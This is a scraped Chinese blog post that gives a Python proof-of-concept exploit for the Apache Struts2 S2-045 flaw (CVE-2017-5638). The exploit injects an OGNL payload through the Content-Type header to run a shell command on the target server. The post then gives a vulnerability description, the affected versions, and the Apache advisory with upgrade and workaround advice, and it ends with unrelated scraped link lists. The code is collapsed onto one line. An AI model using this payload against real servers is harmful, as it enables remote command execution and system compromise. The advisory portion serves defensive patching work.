转载请注明: 转载自Legend‘s BLog

本文链接地址: ST2-045 For POC

利用方法:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersdef poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()poc()

漏洞说明:

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。

漏洞编号:

CVE-2017-5638

漏洞名称:

基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级:

高危

漏洞描述

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

漏洞利用条件和方式:

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

  1. 基于Jakarta(Jakarta Multipart parser)插件的文件上传功能

  2. 恶意攻击者精心构造Content-Type的值

通过版本比对定位漏洞原因:

  1. \core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
  2. core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
  3. \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java
if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {return LocalizedTextUtil.findText(this.getClass(),  “struts.messages.error.uploading”, defaultLocale, null, new  Object[] { e.getMessage() });} else {return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
}

漏洞影响范围:

  • Struts 2.3.5 – Struts 2.3.31
  • Struts 2.5 – Struts 2.5.10
  • Created by Lukasz Lenart, last modified yesterday at 01:14 PM

Summary

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.[td]

Who should read this All Struts 2 developers and users
Impact of vulnerability Possible RCE when performing file upload based on Jakarta Multipart parser
Maximum security rating High
Recommendation Upgrade to Struts 2.3.32 or Struts 2.5.10.1
Affected Software Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
Reporter Nike Zheng
CVE Identifier CVE-2017-5638

Problem

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

Solution

If you are using Jakarta based file upload Multipart parser, upgrade to Apache Struts version 2.3.32 or 2.5.10.1. You can also switch to a different implementation of the Multipart parser.

Backward compatibility

No backward incompatibility issues are expected.

Workaround

Implement a Servlet filter which will validate Content-Type and throw away request with suspicious values not matching multipart/form-data.

ST2-045 For POC相关推荐

  1. 爬取--- https://www.exploit-db.com/ 下载POC较完善的代码【2】

    OK 1,先进行爬取基础信息! 运行程序:[通过生成的CVE列表,多生成几个文件.后面会有用处的!] cve编号写入cve_num0.json成功![备份] cve编号写入cve_num1.json成 ...

  2. MySQL增量订阅消费组件Canal POC

    POC的目的: 1.与MYSQL的对接方式,配置文档 2.订阅的延迟 3.订阅后宕机消息会不会丢失 4.能不能从指定的点开始重新订阅 5.高并发写入的时候,日志的顺序是否还能保持,不考虑消费的情况订阅 ...

  3. 如何构建一个成功的AI PoC(概念验证项目)

    2020-01-13 18:50:11 作者:Arnault 编译:ronghuaiyang 导读 如何把你的人工智能想法转化为可用的软件. 建立一个 AI PoC 是困难的.在这篇文章中,我将解释我 ...

  4. h.264的POC计算

    本文参考自http://wenku.baidu.com/link?url=ZPF0iSKzwLQg_8K02pnnd_-Zd6ISnsOGWsGYb98ucLkELZO4nOv-X-v2GKLzI3r ...

  5. Drupal 7.31 SQL注射分析POC

    此漏洞昨日爆发 ,我们有时间去看看今天的代码. 于Drupal于,跑sql声明使用PDO型号,这是一般能够避免大部分的注射,由于使用占位符的sql语法语句是限制. 但是,这并不意味着绝对安全,. 在D ...

  6. 使用Python开发的POC多线程批量执行小框架

    因为代码量非常少,所以就叫"小框架"吧. 接口非常简陋,但是好处是适配POC脚本的时候很灵活,兼容性高,不需要任何研究成本. 简单来说,你按照自己的想法和习惯开发一个POC验证程序 ...

  7. CVE-2017-11882 POC 全版本通杀

    POC https://github.com/embedi/CVE-2017-11882 转载于:https://www.cnblogs.com/smxiazi/p/7875266.html

  8. Android Adobe Reader 任意代码执行分析(附POC)

    livers · 2014/04/18 14:05 0x00 描述 前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞. 漏洞编号: CVE: 2014-05 ...

  9. 渗透中poc、exp、payload与shellcode的区别

    PoC,全称"Proof of Concept",中文"概念验证",常指一段漏洞证明的代码. Exp,全称"Exploit",中文" ...

  10. POC测试——原型验证,降低风险,IT系统销售工作之一

    POC测试,即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间 ...

最新文章

  1. 1、solr包结构介绍,solrCore的安装配置,solr部署到Tomcat,多solrCore配置,配置中文分词器,界面功能介绍,Schema.xml的基本使用,数据导入
  2. Codeforces刷题
  3. 福建三明市梅列区巧用“智慧梅列” 助推重大项目建设
  4. 训练日志 2019.3.28
  5. ZOJ 3209 Treasure Map DLX
  6. 南昌大学计算机网络通信用什么书,南昌大学_计算机网络教材.doc
  7. 微信小程序云开发教程-WXML入门-列表渲染
  8. 【单目标优化求解】基于matlab粒子群混沌混合蝴蝶优化算法求解最优目标问题(HPSOBOA)【含Matlab源码 1538期】
  9. python工厂模式和单例模式_python之单例模式和工厂模式
  10. vant中修改用户的头像
  11. 第三方公众号用 微信联合 登录
  12. Source Insight 使用技巧整理
  13. centos7是linux内核,在CentOS 7上用源代码编译最新的Linux内核
  14. ps ctrl+shift+j 切割瓶子
  15. html中JSON格式化输出
  16. ROS机器人操作系统学习笔记(三)ROS通信架构
  17. 全国人工智能师资培训班·上海站火热招生中
  18. 浅谈Linux下各种压缩 解压命令和压缩比率对比
  19. 十二、51单片机之DS1302(SPI)
  20. javaScript和css交互

热门文章

  1. cesium 局部加载_cesium自定义气泡窗口infoWindow后续优化篇 - GIS之家
  2. JAVA常见业务参加解决方案_大话业务场景与解决方案-做任务
  3. 7005.element-ui组件
  4. 兰州大学c语言课程作业答案,兰州大学C语言程序设计课程作业1.doc
  5. 用c++自制词法分析器_编译原理笔记 02 词法分析
  6. 14寸笔记本电脑_纯小白预算5000到6000有什么好的笔记本电脑推荐吗?
  7. 内核网络设备的注册与初始化
  8. DECLARE_GLOBAL_DATA_PTR
  9. 使用异步 I/O 大大提高应用程序的性能(来自IBM)
  10. STM32H7时钟树RCC分析--- CubeMx配置(三)